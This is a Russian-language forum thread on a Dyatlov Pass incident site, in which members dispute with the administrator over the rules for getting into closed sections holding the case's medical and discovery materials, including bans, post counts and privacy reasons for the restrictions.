Phantom the North: Смотритель nike1971 Успокойтесь, ребята, вам тут не это.. не двач. Мало ли кому что не нравится, вольному воля, все в сад. Зачем вам закрытые разделы, я вот без них прекрасно обхожусь, на Гугле бана пока нет. nike1971 пишет: если бы не серьезность той трагедии с ребятами дятловцами которой посвещен этот сайт ... (во избежание). nike1971 пишет: указано Высочайшим Повелением - я должен написать минимум 100 постов Ничего вы не должны, можете просто читать чужие. Собственно, 100 - просто условное число, кто-то и 100000 напишет, а толку не будет, как и доступа в закрытые разделы. Смотритель пишет: Не путайте менторский тон со стилистикой админа на открытом форуме, куда приходят ничем вам не обязанные люди, которые зачастую могут вам дать не только знания и документы, но и вообще 100 очков вперед Тоже хмурюсь иногда. Но уж коль я здесь, то принимаю правила игры, а их не я установил. Тем более админы все-таки стараются держаться в рамках (хотя их снисходительный и зачастую насмешливый тон порой вызывает такую же усмешку).
Dest: nike1971 Напишите 100 глупых постов. Потом можно оспорить )))) Phantom the North пишет: Успокойтесь, ребята, вам тут не это.. не двач. Что такое двач ? )))
nike1971: Dest пишет: Напишите 100 глупых постов Право написать 100 или 1000 глупых постов я лучше предоставлю кому нибудь другому.Скажу Вам по секрету - здесь на форуме есть подобные товарищи)))
Dest: nike1971 пишет: Скажу Вам по секрету - здесь на форуме есть подобные товарищи))) В чем секрет то ? Поделитесь ? ))
vysota1096: nike1971 пишет: Ознакомившись с большинством мнений и гипотез у меня сложилось иное мнение. А подъезжая к станции, у вас слетела шляпа. Не сомневаюсь. Как совершенно справедливо заметил ув. Pepper, для того, чтобы определить, умны или неумны чьи-то посты - совершенно не требуется видеть и слышать их автора! Достаточно просто уметь читать, и анализировать прочитанное. nike1971 пишет: чем версии намного более близкие к ИСТИНЕ ,но которые почему то не обсуждаются в пределах этого форума? Для обсуждения версий есть разделы по версиям. Открываете топик - и обсуждаете. nike1971 пишет: но многоуважаемый админ - по моему - слишком чувствителен к справедливой критике Без комментариев. nike1971 пишет: Полностью солидарен со Смотрителем! Это был неумный пост, ибо Смотритель - троллис вульгарис, он же тролль обыкновенный. Если хотите получить доступ - пора начинать писать сообщения умные.
Grissom: nike1971 пишет: Форум - это общественное место. Какой романтически настроенный товарищ... Знаю я форумы, где без предупреждения банят за флуд в техразделе, здесь еще относительный либерализм
vysota1096: Смотритель, ваша готовность бежать марафон, чтобы в очередной раз сказать мне "фи", вызывает не улыбку, а гомерический смех. И прекратите наконец офтопить.
Pepper: Dest пишет: Напишите 100 глупых постов. Потом можно оспорить )))) А если переплюнете по ним, например, Galkу, то Вас даже полюбят так же, как ее, и будут цитировать и ставить в пример на других форумах...
nike1971: Pepper пишет: А если переплюнете по ним, например, Galkу, А если серьезно уважаемый Пеппер - то ознакомившись с разными версиями и что особенно интересно - с тем, как все защищают свои лавинные,снежночеловечные,инопланетные ,подземномолниевые и иные бредни...то мне стало грустно от того что люди не удосужившись даже ознакомиться с УД, которое уже в 90%-ном варианте есть в сети - лезут на данный форум ..а серьезные и думающие люди ,каковых здесь тоже немало втягиваются в эти бесполезные нудные изобилующие ненужными мелочами диспуты,вместо того чтобы взглянуть трезво на общую картину этой трагедии. Я кстати скоро собираюсь написать здесь свою версию событий с Дятловым и его группой.Просто чтобы эту версию здесь изложить мне не хватает некоторых фактов,сбором которых я в данное время и занимаюсь.Я не претендую на ИСТИНУ в конечном варианте...но уж если тут пишут свои фантазии сторонники НЛО и лавины..то моя более прозаичная версия уж всяко имеет место быть...
vysota1096: nike1971, не надо офтопить, пожалуйста.
nike1971: vysota1096 пишет: не надо офтопить, пожалуйста. А причем здесь оффтоп? Мне чтобы написать свою версию необходимо ознакомиться с разделами МЕДИЦИНА и ОБНАРУЖЕНИЕ.Вашими же стараниями я не имею возможности это сделать.Придется воспользоваться Ракитиным,который подробно описал пользуясь УД все эти моменты.И заметьте - он никого не банил..все его материалы по медицине и обнаружении в свободном доступе в очерке СМЕРТЬ ИДУЩАЯ ПО СЛЕДУ.
Смотритель: vysota1096 пишет: Смотритель - троллис вульгарис, он же тролль обыкновенный Грубый переход на личности. Кстати, в разделе, который для выяснения отношений не предназначен. Вы не выпишите себе замечание или бан? Моя рекомендация - вам бан на 1-2 дня. А собственно из-за чего вы меня обзываете? За это? Смотритель пишет: Если это не хамство, то что? Хамство входит в обязанности админа?
Grissom: nike1971 пишет: Придется воспользоваться Ракитиным Это шедевр, я считаю. Ракитин в курсе, что вы его пользуете? Ну и так, для справки, Ракитин утянул многие медицинские материалы с этого форума. Признаться честно, пока у меня не было доступа в медицинские разделы, я точно так же пользовала Ракитина, как обезьяна в клетке, размахивающая гнилым бананом. Потом прошло
ladyLem: nike1971 пишет: моя более прозаичная версия уж всяко имеет место быть... Ну так ознакомьте общественность со своей версией! Кто Вам не дает? Grissom пишет: Признаться честно, пока у меня не было доступа в медицинские разделы, я точно так же пользовала Ракитина, как обезьяна в клетке, размахивающая гнилым бананом. Мда.... Хочу доступа!
Grissom: ladyLem пишет: Мда.... Хочу доступа! Вы не представляете: сначала его вам дают, потом прикрывают ладошкой и отнимают. Потом опять открывают, "в виде исключения". Это же кайф. Американские горки.
vysota1096: nike1971 пишет: Мне чтобы написать свою версию необходимо ознакомиться с разделами МЕДИЦИНА и ОБНАРУЖЕНИЕ. Читайте первое сообщение этого топика.
vysota1096: Смотритель пишет: Грубый переход на личности. Кстати, в разделе, который для выяснения отношений не предназначен. Вы не выпишите себе замечание или бан? Моя рекомендация - вам бан на 1-2 дня. Очень толсто троллите. Бан на неделю за продолжающиеся троллинг, офтоп и провокации.
vysota1096: ladyLem пишет: Хочу доступа! vysota1096 пишет: Читайте первое сообщение этого топика.
nike1971: vysota1096 пишет: В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". При чем здесь я? Вот и разбирайтесь с теми кто устраивает недавние проишествия.
vysota1096: nike1971 пишет: При чем здесь я? Пока что вы офтопите. Это тоже неумно.
nike1971: nike1971 пишет: Грубый переход на личности. Кстати, в разделе, который для выяснения отношений не предназначен. Вы не выпишите себе замечание или бан? Моя рекомендация - вам бан на 1-2 дня. Успокойся дружище Как я уже писал Высота весьма нервно относится к критике...причем даже к весьма справедливой. А тебе отдельное мерси за то что вступился за меня отчего и пострадал.
vysota1096: nike1971 пишет: Успокойся дружище Как я уже писал Высота весьма нервно относится к критике...причем даже к весьма справедливой. А тебе отдельное мерси за то что вступился за меня отчего и пострадал. Очередной офтоп, замечание.
nike1971: vysota1096 пишет: Пока что вы офтопите. Это тоже неумно. Убедительно прошу разьяснить в чем мой оффтоп? Я написал пост напрямую по обсуждаемой в этом разделе - теме запрета на МЕДИЦИНУ и ОБНАРУЖЕНИЕ. И еще одна просьба раз вы АДМИН этого сайта,обьясните мне - в чем лично моя вина за те недавние проишествия из за которых эти две темы стали закрытыми.
vysota1096: nike1971 пишет: Убедительно прошу разьяснить в чем мой оффтоп? Вы задали вопрос - получили ответ. Все остальное - офтоп.
nike1971: vysota1096 пишет: Вы задали вопрос - получили ответ. Все остальное - офтоп. Видать дело обстоит даже еще хуже чем написал Смотритель...это уже клиника... у меня нет желания общаться с неадекватным админом у которого на всё только один ответ - офтоп ..офтоп ..офтоп Поэтому поищу другие более адекватные форумы Адью
vysota1096: nike1971 пишет: у меня нет желания общаться с неадекватным админом у которого на всё только один ответ - офтоп ..офтоп ..офтоп Поэтому поищу другие более адекватные форумы Удачи вам!
карл: *PRIVAT*
vysota1096: карл, а почему в режиме "Только модераторам"? И зачем же вы подбиваете человека на провокацию?
карл: Я такой режим не выберал.Может с-фон скосячил, Что значит провокация? Это называется реализация форумских прав. Ведь я же ничего не нарушил, а наоборот пытался внести вклад в развитие демократических ценностей на ресурсе, вот щас мигает значок,что получено лс от найк 1971, а прочесть я его не могу. А где это оговорено , что доступ к личке может закрываться ? ы
vysota1096: карл пишет: Я такой режим не выберал.Может с-фон скосячил, Что значит провокация? Это называется реализация форумских прав. Ведь я же ничего не нарушил, а наоборот пытался внести вклад в развитие демократических ценностей на ресурсе, вот щас мигает значок,что получено лс от найк 1971, а прочесть я его не могу. А где это оговорено , что доступ к личке может закрываться ? ы Прекратите офтопить, пожалуйста. Если все еще не можете прочесть лс - отпишитесь в топике Техподдержка.
ladyLem: vysota1096 пишет: ladyLem пишет: цитата: Хочу доступа! vysota1096 пишет: цитата: Читайте первое сообщение этого топика. Так я в курсе. В смысле - читала. vysota1096 пишет: Доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". ЭТо? Но плодотворность, как я понимаю, определяется не тем, кто желает получить этот доступ. Как мне кажется, лучше пара-тройка дельных сообщений или замечаний, чем горы бесполезных топиков, которые ведут в никуда. Что касается "старичков", так им не до нас, новеньких. Они свои убеждения отстаивают в закрытых разделалх. ПОэтому человеку, не знакомому с полной картиной происшедшего, не хочется выдвигать свою версию, чтобы не стать объектом для оттачивания остроумя этих самых "старичков".
Алекс К: vysota1096, правила доступа в раздел Медицины напоминают правила доступа в клуб единомышленников по признаку в данном случае принадлежности к версиям природно-стихийным. Как известно, на Вашем форуме с явной неприязнью относятся в сторонникам криминальных версий, на что мне прямо указал один из участников форума сразу по открытию мной темы криминальной версии. Без обиняков, грубо. Интересно, почему администратор, а это Вы, vysota1096, не можете сама решить вопрос доступа, прибегая к казуистике в виде потребности ходатайства «старичка»? Право … «будет даваться только по результатам плодотворного участия в дискуссиях в открытых…» - что сие означает? Продвижение версии Е. Буянова? Ещё понял бы Вас, если бы единственным местом в Сети, где опубликованы медицинские данные по УД, был Ваш форум. К этим материалам доступ открыт в Сети, поэтому Ваша конспирация заведомо излишняя. Единственным исключением, оправдывающим Вашу конспирацию, могут быть фотографии трупов. Их действительно можно закрыть для отдельного доступа, но не весь же медиц. материал, к которому есть свободный доступ на других сайтах. Такая формализация доступа в раздел Медицины напрочь лишает возможности обсуждать вопросы медицины большую часть зарегистрированных участников, а это травм и увечья туристов. Кому это выгодно? Ответ напрашивается – сами знаете кому. Грустное зрелище, а ещё гордитесь вкладом Е. Буянова в дело освещения материалов УД, закрыв доступ к важнейшим материалам, без ознакомления с которыми можно только и уповать на самую продвинутую версию этого форума. Картина маслом… Печальное зрелище. Неужели боитесь, скажем, моего присутствия в разделе Медицина, хотя, зная сторожил форума, внесших большой вклад «плодотворного участия в дискуссиях…», легко могу себе представить стиль и содержание обсуждений в закрытом Медицинским разделе. Возможно, это действительно нужно держать под замком… Паноптикум просто позавидует.
vysota1096: ladyLem пишет: Что касается "старичков", так им не до нас, новеньких. Это вы зря. Алекс К пишет: Как известно, на Вашем форуме с явной неприязнью относятся в сторонникам криминальных версий, на что мне прямо указал один из участников форума сразу по открытию мной темы криминальной версии. Без обиняков, грубо. Это к теме топика не относится. Алекс К пишет: что сие означает? Плодотворное участие в дискуссиях. Что именно вам непонятно? Алекс К пишет: Ещё понял бы Вас, если бы единственным местом в Сети, где опубликованы медицинские данные по УД, был Ваш форум. К этим материалам доступ открыт в Сети, поэтому Ваша конспирация заведомо излишняя. Речь не о конспирации, а об уважении личных данных. Вы готовы видеть свою медкарту в сети? Алекс К пишет: Интересно, почему администратор, а это Вы, vysota1096, не можете сама решить вопрос доступа, прибегая к казуистике в виде потребности ходатайства «старичка»? Это вы сейчас о чем, не поняла? Алекс К пишет: Грустное зрелище, а ещё гордитесь вкладом Е. Буянова в дело освещения материалов УД, закрыв доступ к важнейшим материалам, без ознакомления с которыми можно только и уповать на самую продвинутую версию этого форума. Картина маслом… Печальное зрелище. Зрелище грустное, вы правы. И картина маслом.
Dest: Алекс К пишет: Неужели боитесь, скажем, моего присутствия в разделе Медицина, Да че там боитесь ?...Зачем Вам это нада ?..И так информации полно. И никто там ниче не обсуждает , кроме всякой СМЭ
vysota1096: Dest, пожалуйста, не надо обсуждать материалы закрытых разделов в разделах открытых.
Dest: vysota1096 пишет: не надо обсуждать Да я там небыл..просто предположил ))...Извините...
marki: А это .. Вопрос возник . Когда закрытый раздел , то это для чего ? Чтобы не было потрясений от увиденного ? Или чтобы не захламлять "самый сок" форума ? Или для того , чтобы сразу определять практикующих судмедэкспертов в клетку и не выпускать их мнение наружу ? Вообще как интересно.
vysota1096: marki пишет: Вопрос возник . А топик почитать - религия не позволяет?
marki: В топике было сказано что то про клетку ? Или по умолчанию - нет ? Ну на нет и нет..
Burunduk: А каковы критерии плодотворности участия в дискуссиях для получения доступа в закрытые разделы? И как можно новичку заручиться поддержкой "старичка", да еще и такой, при которой последний отвечает за первого?
deliola: Burunduk пишет: А каковы критерии плодотворности участия в дискуссиях для получения доступа в закрытые разделы? И как можно новичку заручиться поддержкой "старичка", да еще и такой, при которой последний отвечает за первого? Если вы прочитаете весь этот топик с комментариями, вам не нужно будет задавать эти вопросы.
Burunduk: deliola пишет: Если вы прочитаете весь этот топик с комментариями, вам не нужно будет задавать эти вопросы Как говорил Бернард Шоу, мне не обязательно съесть все яйцо чтобы понять, что оно тухлое. В этой теме он бы сказал, что достаточно и пары страниц, чтобы понять, что четкие критерии не упоминаются (100/1000 сообщений, толковость - все это неоднозначно как-то). Собственно, поэтому и вопрос - надо ли захламлять форум спамом (сообщение, единственный смысл которого - набрать количество сообщений, иначе назвать пальцы не опускаются), дабы с неизвестной (возможно, и равной нулю, ибо не из тусовки) вероятностью получить или не получить доступ в закрома в раздел "Обнаружение". P.S. да и время - оно не резиновое на каком-то этапе. На 100 сообщений ни о чем его редко хватает :)
lana_n: А может в личку админу надо написать? Ну и там представиться, объяснить-отрекламировать, чем вы можете быть в этих разделах полезны? (сорри, администрация, если я что не так поняла, но кажется такой путь тоже возможен? ) А кста, я всю тему прочитала таки И да, Burunduk , конкретных (вот прям с числовыми-процентными там по количеству мессаг и их пользе) критериев нету Но! Кроме этого я поняла, что для такой "закрытости" были вполне реальные причины (я вообще сорь, что здесь пишу, но уж очень Burunduk четко и грамотно поставила вопрос, и хочется, чтоб такой человек имел возможность... Ну какую то хоть возможность, но имел )
Phantom the North: lana_n пишет: А может в личку админу надо написать? ... кажется такой путь тоже возможен? Вообще-то именно такой путь и есть единственно возможный, вот посмотрите.
lana_n: Аха, Phantom the North , пасиб за подтведждаловку со ссылью (а то читала вроде, но не помню хде )
lana_n: О, а у мну тут внезапно еще вопрос возник! (вот нафига я ваще эт все читала, ниче не запомнила ) vysota1096 пишет: Апд1. 08.02.10 В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". В последнем случае "старичок" отвечает за "новичка". А что означает термин "старичок" в данном контексте? Phantom the North , вы ж хорошо ориентируетесь в форуме? (ну судя по предыдущей мессаге ) Вдруг в теме?
Phantom the North: lana_n пишет: что означает термин "старичок" в данном контексте? У кого золотая звезда (или две), тот почти наверняка считается "стариком". Смотрите помимо того и на срок регистрации, и на отношение к "старику" других участников. Но лучше обратитесь к администратору в личке.
lana_n: Ой, не! Мне закрытые разделы не нать Просто вот зачиталась немного и вопросы вдруг возникли (сама удивилась ) Phantom the North , спасиб агромадный за удовлетворение моего любопытства (ну и мож пригодится страждущим-желающим )
Burunduk: Phantom the North пишет: Вообще-то именно такой путь и есть единственно возможный Увы, путь ведет в никуда :) "Будьте реалистом, требуйте невозможного" ©
deliola: Burunduk пишет: Увы, путь ведет в никуда :) Любой путь ведет куда-то. Не теряй надежду, идущий...
Burunduk: deliola пишет: Любой путь ведет куда-то. И рассмотрим эту аксиому на примере пути от палатки к кедру...
lana_n: Burunduk пишет: Phantom the North пишет: цитата: Вообще-то именно такой путь и есть единственно возможный Увы, путь ведет в никуда :) А я о другом читая это подумала... Ведь Phantom the North по этому пути дошел до цели А значит Делиола права?
Burunduk: lana_n пишет: Ведь Phantom the North по этому пути дошел до цели У него аватар согласуется с тематикой форума
vysota1096: Имеется апдейт 3 к первому сообщению.
Mika: Привет, попыталась зарегистрироваться на форуме, это мое первое сообщение, вернее, попытка такового. Насчет "плодотворного участия в дискуссиях", тут я мимо кассы: прежде чем начинать дискутировать, надо подробно изучить материалы, что я и пытаюсь сделать, рыская в интернете и перечитывая все, что удается найти. Появиться в каком-либо треде со своим "мнением" я позволю себе нескоро. На мои чайниковые вопросы тоже никто не станет отвечать, просто скажут, читай форум, и это правильно. По-видимому, шансов на доступ к закрытым разделом у меня нет никаких. Тем не менее, прошу не прогонять, буду сидеть мышкой и читать молча.
vysota1096: Mika пишет: буду сидеть мышкой и читать молча Договорились. Но лучше все-таки участвовать!
Mika: vysota1096 пишет: Договорились. Но лучше все-таки участвовать! Спасибо, когда будет, что сказать, обязательно!
mordaty_pitbull: vysota1096 Прошу предоставить доступ к разделу "Медицина" в соответствии с письмом на Вашу почту
vysota1096: mordaty_pitbull, посмотрите ответ на почте, пожалуйста.
Роман Дорин: Хотел просто узнать почему у меня нет доступа к закрытым разделам? Ради интересса. Так то я думаю, что ничего нового там не увижу, но всё-таки..?
vysota1096: Роман Дорин, представьтесь, пожалуйста, в теме для новичков.
полная версия страницы